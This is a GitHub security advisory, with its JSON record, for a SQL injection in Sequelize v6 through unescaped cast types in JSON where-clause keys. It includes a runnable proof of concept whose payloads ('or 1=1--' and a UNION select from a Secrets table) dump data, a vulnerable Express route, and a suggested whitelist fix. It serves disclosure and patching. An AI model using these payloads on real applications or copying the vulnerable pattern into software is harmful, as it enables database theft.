GHSA-6457-6JRX-69CR

Vulnerability from github – Published: 2026-03-11 00:18 – Updated: 2026-03-11 00:18
VLAI?
Summary
Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type
Details

Summary

SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.

Affected: v6.x through 6.37.7. v7 (@sequelize/core) is not affected.

Details

In src/dialects/abstract/query-generator.js, _traverseJSON() extracts a cast type from :: in JSON keys without validation:

// line 1892
_traverseJSON(items, baseKey, prop, item, path) {
    let cast;
    if (path[path.length - 1].includes("::")) {
      const tmp = path[path.length - 1].split("::");
      cast = tmp[1];       // attacker-controlled, no escaping
      path[path.length - 1] = tmp[0];
    }
    // ...
    items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));
}

_castKey() (line 1925) passes it to Utils.Cast, and handleSequelizeMethod() (line 1692) interpolates it directly:

return `CAST(${result} AS ${smth.type.toUpperCase()})`;

JSON path values are escaped via this.escape() in jsonPathExtractionQuery(), but the cast type is not.

Suggested fix — whitelist known SQL data types:

const ALLOWED_CAST_TYPES = new Set([
  'integer', 'text', 'real', 'numeric', 'boolean', 'date',
  'timestamp', 'timestamptz', 'json', 'jsonb', 'float',
  'double precision', 'bigint', 'smallint', 'varchar', 'char',
]);

if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {
  throw new Error(`Invalid cast type: ${cast}`);
}

PoC

npm install sequelize@6.37.7 sqlite3

const { Sequelize, DataTypes } = require('sequelize');

async function main() {
  const sequelize = new Sequelize('sqlite::memory:', { logging: false });

  const User = sequelize.define('User', {
    username: DataTypes.STRING,
    metadata: DataTypes.JSON,
  });

  const Secret = sequelize.define('Secret', {
    key: DataTypes.STRING,
    value: DataTypes.STRING,
  });

  await sequelize.sync({ force: true });

  await User.bulkCreate([
    { username: 'alice', metadata: { role: 'admin', level: 10 } },
    { username: 'bob',   metadata: { role: 'user',  level: 5 } },
    { username: 'charlie', metadata: { role: 'user', level: 1 } },
  ]);

  await Secret.bulkCreate([
    { key: 'api_key', value: 'sk-secret-12345' },
    { key: 'db_password', value: 'super_secret_password' },
  ]);

  // TEST 1: WHERE clause bypass
  const r1 = await User.findAll({
    where: { metadata: { 'role::text) or 1=1--': 'anything' } },
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('OR 1=1:', r1.map(u => u.username));
  // Returns ALL rows: ['alice', 'bob', 'charlie']

  // TEST 2: UNION-based cross-table exfiltration
  const r2 = await User.findAll({
    where: {
      metadata: {
        'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'
      }
    },
    raw: true,
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`));
  // Returns: api_key=sk-secret-12345, db_password=super_secret_password
}

main().catch(console.error);

Output:

SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
  FROM `Users` AS `User`
  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything';
OR 1=1: [ 'alice', 'bob', 'charlie' ]

SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
  FROM `Users` AS `User`
  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0
  UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x';
UNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ]

Impact

SQL Injection (CWE-89) — Any application that passes user-controlled objects as where clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).

A common vulnerable pattern:

app.post('/api/users/search', async (req, res) => {
  const users = await User.findAll({
    where: { metadata: req.body.filter }  // user controls JSON object keys
  });
  res.json(users);
});
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.37.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sequelize"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0-beta.1"
            },
            {
              "fixed": "6.37.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30951"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T00:18:48Z",
    "nvd_published_at": "2026-03-10T21:16:48Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nSQL injection via unescaped cast type in JSON/JSONB `where` clause processing. The `_traverseJSON()` function splits JSON path keys on `::` to extract a cast type, which is interpolated raw into `CAST(... AS \u003ctype\u003e)` SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.\n\nAffected: v6.x through 6.37.7. v7 (`@sequelize/core`) is not affected.\n\n### Details\n\nIn `src/dialects/abstract/query-generator.js`, `_traverseJSON()` extracts a cast type from `::` in JSON keys without validation:\n\n```javascript\n// line 1892\n_traverseJSON(items, baseKey, prop, item, path) {\n    let cast;\n    if (path[path.length - 1].includes(\"::\")) {\n      const tmp = path[path.length - 1].split(\"::\");\n      cast = tmp[1];       // attacker-controlled, no escaping\n      path[path.length - 1] = tmp[0];\n    }\n    // ...\n    items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));\n}\n```\n\n`_castKey()` (line 1925) passes it to `Utils.Cast`, and `handleSequelizeMethod()` (line 1692) interpolates it directly:\n\n```javascript\nreturn `CAST(${result} AS ${smth.type.toUpperCase()})`;\n```\n\nJSON path **values** are escaped via `this.escape()` in `jsonPathExtractionQuery()`, but the cast **type** is not.\n\n**Suggested fix** \u2014 whitelist known SQL data types:\n\n```javascript\nconst ALLOWED_CAST_TYPES = new Set([\n  \u0027integer\u0027, \u0027text\u0027, \u0027real\u0027, \u0027numeric\u0027, \u0027boolean\u0027, \u0027date\u0027,\n  \u0027timestamp\u0027, \u0027timestamptz\u0027, \u0027json\u0027, \u0027jsonb\u0027, \u0027float\u0027,\n  \u0027double precision\u0027, \u0027bigint\u0027, \u0027smallint\u0027, \u0027varchar\u0027, \u0027char\u0027,\n]);\n\nif (cast \u0026\u0026 !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {\n  throw new Error(`Invalid cast type: ${cast}`);\n}\n```\n\n### PoC\n\n`npm install sequelize@6.37.7 sqlite3`\n\n```javascript\nconst { Sequelize, DataTypes } = require(\u0027sequelize\u0027);\n\nasync function main() {\n  const sequelize = new Sequelize(\u0027sqlite::memory:\u0027, { logging: false });\n\n  const User = sequelize.define(\u0027User\u0027, {\n    username: DataTypes.STRING,\n    metadata: DataTypes.JSON,\n  });\n\n  const Secret = sequelize.define(\u0027Secret\u0027, {\n    key: DataTypes.STRING,\n    value: DataTypes.STRING,\n  });\n\n  await sequelize.sync({ force: true });\n\n  await User.bulkCreate([\n    { username: \u0027alice\u0027, metadata: { role: \u0027admin\u0027, level: 10 } },\n    { username: \u0027bob\u0027,   metadata: { role: \u0027user\u0027,  level: 5 } },\n    { username: \u0027charlie\u0027, metadata: { role: \u0027user\u0027, level: 1 } },\n  ]);\n\n  await Secret.bulkCreate([\n    { key: \u0027api_key\u0027, value: \u0027sk-secret-12345\u0027 },\n    { key: \u0027db_password\u0027, value: \u0027super_secret_password\u0027 },\n  ]);\n\n  // TEST 1: WHERE clause bypass\n  const r1 = await User.findAll({\n    where: { metadata: { \u0027role::text) or 1=1--\u0027: \u0027anything\u0027 } },\n    logging: (sql) =\u003e console.log(\u0027SQL:\u0027, sql),\n  });\n  console.log(\u0027OR 1=1:\u0027, r1.map(u =\u003e u.username));\n  // Returns ALL rows: [\u0027alice\u0027, \u0027bob\u0027, \u0027charlie\u0027]\n\n  // TEST 2: UNION-based cross-table exfiltration\n  const r2 = await User.findAll({\n    where: {\n      metadata: {\n        \u0027role::text) and 0 union select id,key,value,null,null from Secrets--\u0027: \u0027x\u0027\n      }\n    },\n    raw: true,\n    logging: (sql) =\u003e console.log(\u0027SQL:\u0027, sql),\n  });\n  console.log(\u0027UNION:\u0027, r2.map(r =\u003e `${r.username}=${r.metadata}`));\n  // Returns: api_key=sk-secret-12345, db_password=super_secret_password\n}\n\nmain().catch(console.error);\n```\n\n**Output:**\n\n```\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n  FROM `Users` AS `User`\n  WHERE CAST(json_extract(`User`.`metadata`,\u0027$.role\u0027) AS TEXT) OR 1=1--) = \u0027anything\u0027;\nOR 1=1: [ \u0027alice\u0027, \u0027bob\u0027, \u0027charlie\u0027 ]\n\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n  FROM `Users` AS `User`\n  WHERE CAST(json_extract(`User`.`metadata`,\u0027$.role\u0027) AS TEXT) AND 0\n  UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = \u0027x\u0027;\nUNION: [ \u0027api_key=sk-secret-12345\u0027, \u0027db_password=super_secret_password\u0027 ]\n```\n\n### Impact\n\n**SQL Injection (CWE-89)** \u2014 Any application that passes user-controlled objects as `where` clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).\n\nA common vulnerable pattern:\n\n```javascript\napp.post(\u0027/api/users/search\u0027, async (req, res) =\u003e {\n  const users = await User.findAll({\n    where: { metadata: req.body.filter }  // user controls JSON object keys\n  });\n  res.json(users);\n});\n```",
  "id": "GHSA-6457-6jrx-69cr",
  "modified": "2026-03-11T00:18:48Z",
  "published": "2026-03-11T00:18:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sequelize/sequelize/security/advisories/GHSA-6457-6jrx-69cr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30951"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sequelize/sequelize"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type"
}


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